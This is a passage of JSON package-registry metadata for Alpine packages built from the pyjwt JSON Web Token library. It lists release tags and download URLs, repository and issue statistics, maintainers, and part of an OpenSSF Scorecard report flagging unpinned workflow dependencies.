om/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.121Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":3.206822602363972,"forks_count":2.777916313400828,"docker_downloads_count":null,"average":1.4961847289411998},"purl":"pkg:apk/alpine/py3-jwt-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.18","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt-pyc/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-jwt-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-jwt-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-jwt-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-jwt-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-jwt-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-jwt-pyc/codemeta","maintainers":[{"uuid":"michal@polanski.me","login":null,"name":"Michał Polański","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","packages_count":316,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","role":null,"created_at":"2023-05-23T07:14:44.730Z","updated_at":"2023-05-23T07:14:44.730Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/maintainers/michal@polanski.me/packages"}],"registry":{"name":"alpine-v3.18","url":"https://pkgs.alpinelinux.org/packages?branch=v3.18","ecosystem":"alpine","default":false,"packages_count":20068,"maintainers_count":367,"namespaces_count":2,"keywords_count":3640,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1185},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-05-22T10:43:30.622Z","updated_at":"2026-06-10T05:19:44.026Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/namespaces"}},{"id":6065738,"name":"py-jwt-cli","ecosystem":"alpine","description":"Python JSON Web Token implementation (CLI utility)","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"main","versions_count":1,"first_release_published_at":"2019-05-05T12:16:33.000Z","latest_release_published_at":"2019-05-05T12:16:33.000Z","latest_release_number":"1.7.1-r1","last_synced_at":"2026-03-06T09:15:08.523Z","created_at":"2023-01-31T19:18:13.732Z","updated_at":"2026-05-29T04:00:35.209Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.10/main/x86_64/py-jwt-cli","install_command":"apk add py-jwt-cli","documentation_url":null,"metadata":{"repository":"main","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by 